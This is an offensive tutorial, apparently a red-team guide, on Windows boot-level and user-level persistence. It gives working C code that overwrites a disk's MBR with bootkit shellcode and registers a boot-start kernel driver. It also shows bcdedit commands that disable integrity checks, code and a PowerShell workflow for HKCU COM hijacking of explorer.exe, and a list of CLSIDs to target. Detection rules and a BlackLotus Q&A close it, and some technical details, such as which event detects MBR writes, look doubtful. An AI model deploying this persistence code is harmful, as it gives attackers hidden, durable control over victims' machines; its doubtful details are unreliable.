Boot-Level Persistence and Advanced COM Hijacking
Pre-OS persistence: MBR/VBR bootkit concepts, UEFI persistence mechanism overview, BCD manipulation. Post-OS without admin: advanced COM HKCU hijacking, per-user COM server registration, hijacking scheduled COM calls and Explorer extensions — and how defenders detect both layers.
Two separate targets, two separate needs. On the first: an air-gapped kiosk running Windows embedded — you need persistence that survives OS reinstall from the same drive, meaning the persistence must live below the OS image. The MBR-level bootkit is the answer. On the second: a corporate workstation where you have only user-level code execution — no admin, no SYSTEM. Standard persistence (services, Run HKLM, scheduled tasks for SYSTEM) all require elevation. Advanced COM HKCU hijacking lets you load a DLL into a privileged process without ever elevating — because Windows resolves HKCU COM registrations before HKLM, any user can redirect a CLSID that a SYSTEM process or privileged application loads.
Windows Boot Chain
MBR Bootkit: Concepts and Code
// MBR Bootkit — reads and overwrites sector 0 of the physical disk
// Requires SYSTEM privileges and raw disk access
// Once written, bootkit code runs BEFORE Windows loads on every boot
// Structure of 512-byte MBR:
// Bytes 0-445: boot code (our shellcode + original MBR saved elsewhere)
// Bytes 446-509: partition table (4 entries × 16 bytes)
// Bytes 510-511: boot signature 0x55AA
BOOL WriteBootkit(const BYTE* bootkitShellcode, DWORD shellcodeLen) {
// Open raw disk — requires SYSTEM + SE_LOCK_MEMORY_NAME on Win10+
HANDLE hDisk = CreateFileW(L"\\\\.\\PhysicalDrive0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (hDisk == INVALID_HANDLE_VALUE) return FALSE;
// Read current MBR to preserve partition table
BYTE originalMBR[512] = {0};
DWORD bytesRead;
ReadFile(hDisk, originalMBR, 512, &bytesRead, NULL);
// Save original MBR to known sector (sector 62 is commonly unused)
LARGE_INTEGER hiddenSector;
hiddenSector.QuadPart = 62 * 512;
SetFilePointerEx(hDisk, hiddenSector, NULL, FILE_BEGIN);
DWORD bytesWritten;
WriteFile(hDisk, originalMBR, 512, &bytesWritten, NULL);
// Build new MBR: bootkit code + preserved partition table + boot sig
BYTE newMBR[512] = {0};
memcpy(newMBR, bootkitShellcode, min(shellcodeLen, 446));
memcpy(newMBR + 446, originalMBR + 446, 64); // preserve partition table
newMBR[510] = 0x55;
newMBR[511] = 0xAA;
// Write new MBR to sector 0
LARGE_INTEGER sectorZero = {0};
SetFilePointerEx(hDisk, sectorZero, NULL, FILE_BEGIN);
WriteFile(hDisk, newMBR, 512, &bytesWritten, NULL);
FlushFileBuffers(hDisk);
CloseHandle(hDisk);
return bytesWritten == 512;
}
// Bootkit MBR shellcode responsibilities (real-mode x86):
// 1. Hook INT 13h (BIOS disk read interrupt)
// 2. Load original MBR from sector 62 → jump to it (boot continues normally)
// 3. INT 13h hook intercepts OS loader reads → patches in-memory OS modules
// 4. Optional: hook WFP (Windows File Protection) to persist infected driver
MBR overwrite on a managed enterprise machine will almost certainly trigger a Secure Boot or TPM measurement failure if Measured Boot is enabled — the system will enter BitLocker recovery and potentially alert the SOC. MBR bootkits are most viable on: legacy BIOS systems, systems with Secure Boot disabled, embedded/kiosk targets where you control physical hardware. Evaluate before executing — it can brick access.
UEFI Persistence Concepts
BCD — Boot Configuration Database Persistence
// BCD persistence: inject a boot driver that loads before user-mode services
// Requires admin rights; survives endpoint protection if signed
// Driver is loaded at kernel init — runs before AV/EDR loads
// Method 1: Register an early-load boot driver via BCD
// bcdedit.exe /set {current} bootlog yes
// bcdedit.exe /set {current} driverloadfailureaction IgnoreAll
// Add a custom kernel debug transport (if kernel debugging enabled):
bcdedit /copy {current} /d "Windows (Debug Mode)"
bcdedit /set {guid_from_above} nointegritychecks on // requires DSE bypass
// Method 2: Directly register a boot-start driver via Services registry
// No BCD manipulation needed — uses driver load ordering
HKEY hKey;
RegCreateKeyExW(HKEY_LOCAL_MACHINE,
L"SYSTEM\\CurrentControlSet\\Services\\MyBootDriver",
0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL);
DWORD start = SERVICE_BOOT_START; // 0 = boot start
DWORD type = SERVICE_KERNEL_DRIVER; // 1 = kernel driver
DWORD error = SERVICE_ERROR_IGNORE; // 3 = ignore failures
RegSetValueExW(hKey, L"Start", 0, REG_DWORD, (BYTE*)&start, sizeof(start));
RegSetValueExW(hKey, L"Type", 0, REG_DWORD, (BYTE*)&type, sizeof(type));
RegSetValueExW(hKey, L"ErrorControl", 0, REG_DWORD, (BYTE*)&error, sizeof(error));
RegSetValueExW(hKey, L"ImagePath", 0, REG_EXPAND_SZ,
(BYTE*)L"\\SystemRoot\\System32\\drivers\\mydrv.sys",
68 * sizeof(wchar_t));
// Boot-start drivers load at Phase 1 init — before PnP, before WDF, before AV
// Early launch anti-malware (ELAM) drivers can block this in Win8+
// With PatchGuard (KPP): driver must not patch ntoskrnl code; data patches are OK
Advanced COM Hijacking
// Advanced COM hijack — HKCU registration without admin
// Hijacks a CLSID loaded by Explorer.exe when user logs in
BOOL COMHijackExplorer(const wchar_t* clsid, const wchar_t* dllPath) {
wchar_t keyPath[256];
swprintf(keyPath, 256,
L"Software\\Classes\\CLSID\\%s\\InProcServer32", clsid);
HKEY hKey;
LSTATUS rc = RegCreateKeyExW(HKEY_CURRENT_USER, keyPath,
0, NULL, REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE, NULL, &hKey, NULL);
if (rc != ERROR_SUCCESS) return FALSE;
// Default value = DLL path
RegSetValueExW(hKey, NULL, 0, REG_SZ,
(BYTE*)dllPath, (DWORD)((wcslen(dllPath)+1)*sizeof(wchar_t)));
RegSetValueExW(hKey, L"ThreadingModel", 0, REG_SZ,
(BYTE*)L"Apartment", 20);
RegCloseKey(hKey);
return TRUE;
}
// High-value Explorer CLSIDs to hijack (loaded at every Explorer restart):
// {BCDE0395-E52F-467C-8E3D-C4579291692E} — MRUListEx shell namespace extension
// {D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D} — location provider
// {9BA05972-F6A8-11CF-A442-00A0C90A8F39} — shell windows
//
// Finding them yourself with Procmon:
// Filter: Process Name = explorer.exe
// Operation = RegQueryValue
// Path ends with InProcServer32
// Result = NAME NOT FOUND in HKCU
// Every such hit is a CLSID you can squatter-register
COM Hijack Discovery Workflow
# PowerShell: enumerate CLSIDs loaded by a process that are NOT in HKCU
# This finds every COM hijacking opportunity for a given target process
$TargetProcess = "explorer"
# Get all CLSIDs registered in HKLM that the process might call
$HKLMCLSIDs = Get-ChildItem "HKLM:\SOFTWARE\Classes\CLSID" |
Where-Object { (Get-ItemProperty "$($_.PSPath)\InProcServer32" -ErrorAction SilentlyContinue) } |
Select-Object -ExpandProperty PSChildName
# Check which ones are NOT already overridden in HKCU (= hijackable)
$Hijackable = $HKLMCLSIDs | Where-Object {
-not (Test-Path "HKCU:\Software\Classes\CLSID\$_\InProcServer32")
}
Write-Host "[+] $($Hijackable.Count) potentially hijackable CLSIDs"
# For each hijackable CLSID, check if it's actually loaded by the target process
# (Use Procmon NAME NOT FOUND export for precision — Procmon CSV output)
$procmonCSV = Import-Csv "procmon_explorer.csv"
$LoadedByTarget = $procmonCSV |
Where-Object { $_."Process Name" -match $TargetProcess `
-and $_.Path -match "InProcServer32" `
-and $_.Result -eq "NAME NOT FOUND" } |
ForEach-Object {
($_.Path -split "\\")[($_.Path -split "\\").Count - 3]
} | Sort-Object -Unique
Write-Host "[+] CLSIDs queried by $TargetProcess but not in HKCU:"
$LoadedByTarget
| Persistence Layer | Admin Required | Survives Reboot | Survives Reimaging | Detection Difficulty |
|---|---|---|---|---|
| Run key (HKCU) | No | Yes | No | Low — Autoruns, Sysmon 13 |
| Scheduled task (SYSTEM) | Yes | Yes | No | Low — Event 4698, Autoruns |
| WMI subscription | Yes | Yes | No | Medium — Sysmon 19/20/21 |
| COM HKCU hijack | No | Yes (if process loads CLSID) | No | Medium — Sysmon 7, Procmon |
| Boot-start kernel driver | Yes + DSE bypass | Yes | No | High — requires kernel analysis |
| UEFI ESP modification | Yes (+ Secure Boot off) | Yes | Partial (if ESP survives) | Very high — requires chipsec/UEFI scanning |
| MBR bootkit | Yes (+ raw disk access) | Yes | If drive not wiped | Very high — requires MBR integrity check |
Detection Engineering
-- Sigma: COM HKCU hijack registration
title: COM Server Registered Under HKCU (Potential Hijack)
logsource:
product: windows
category: registry_set
detection:
selection:
TargetObject|startswith:
- 'HKCU\Software\Classes\CLSID\'
TargetObject|endswith:
- '\InProcServer32'
filter_legitimate:
Details|contains:
- '\AppData\Local\Microsoft\Teams\' # Teams COM add-ins
- '\AppData\Local\Google\Chrome\'
condition: selection AND NOT filter_legitimate
level: medium
-- Sigma: MBR write via raw PhysicalDrive access
title: Raw Physical Drive Write (Potential MBR Modification)
logsource:
product: windows
category: raw_access_read # Sysmon Event 9
detection:
selection:
EventID: 9
Device|contains: 'PhysicalDrive'
filter_legit:
Image|endswith:
- '\defrag.exe'
- '\sfc.exe'
- '\chkdsk.exe'
condition: selection AND NOT filter_legit
level: high
-- MDE KQL: find COM DLLs loaded from AppData (likely hijack)
DeviceImageLoadEvents
| where FolderPath startswith "C:\\Users\\"
| where FolderPath contains "\\AppData\\"
| where InitiatingProcessFileName in~ ("explorer.exe", "mmc.exe", "outlook.exe")
| summarize count() by FileName, FolderPath, InitiatingProcessFileName
| where count_ > 3 // loaded repeatedly = persistence trigger
| order by count_ desc
-- UEFI/boot-level: Secure Boot policy violations appear in:
-- Event ID 5038: code integrity determined file is not valid (kernel/HAL hash mismatch)
-- Event ID 7045: new service installed (boot-start driver)
-- Event ID 1: Sysmon process creation for bcdedit.exe with suspicious params
-- chipsec (Intel CHIPSEC): hardware-level UEFI integrity check tool
Q&A
How does BlackLotus bypass Secure Boot on a fully patched Windows 11?
BlackLotus (UEFI bootkit discovered 2023) exploited a vulnerability in Windows Boot Manager that Microsoft had patched in 2022 (CVE-2022-21894, "Baton Drop"). Secure Boot doesn't prevent loading of old, known-vulnerable versions of signed UEFI binaries unless those binaries are explicitly revoked in the Secure Boot Revocation List (DBX). Microsoft was slow to revoke the vulnerable bootmgr because revoking a Windows Boot Manager version through DBX can cause systems that haven't received recent Windows Updates to become unbootable — a massive operational risk. BlackLotus exploited this gap: it installed the older vulnerable bootmgr onto the EFI System Partition, then used that known-vulnerable binary to load an unsigned UEFI module. The Secure Boot trusted the signed (but vulnerable) bootmgr, which then loaded the attacker's unsigned code. The attack chain also included a ring-0 kernel driver that disabled HVCI/VBS features to allow further tampering. The defense takeaway for detection engineers: anomalies in the ESP (unexpected .efi files, modification timestamps on bootmgfw.efi), Secure Boot DB/DBX changes, and TPM PCR measurement changes are all weak signals that should trigger investigation. Microsoft later issued a targeted mitigation via Windows Update that explicitly revokes the vulnerable bootmgr via DBX, but opted for a staged rollout due to the boot-loop risk.
If COM HKCU hijacking requires no admin, why isn't it used more than run keys?
COM HKCU hijacking is conditionally stealthy but not reliable as a primary persistence mechanism. The reason: the hijacked COM server is only loaded when a specific process calls CoCreateInstance on that CLSID. If the target process doesn't run (e.g., the user has a lightweight session, or the CLSID is only loaded on specific user actions), the beacon never fires. Run keys fire at every logon, unconditionally. Scheduled tasks fire on a timer. COM hijacks are event-driven and dependent on the host process behavior. They're most valuable as a secondary or backup mechanism: hard to detect because the DLL load looks like normal COM activation, runs in the context of a trusted process (which may bypass application-layer controls), and requires no admin. For guaranteed beacon startup, combine: COM hijack for stealth + run key or task as fallback. Also, COM hijacking requires knowing which CLSIDs are loaded by which processes — that requires Procmon analysis of the specific target environment, which means higher operational setup cost per target.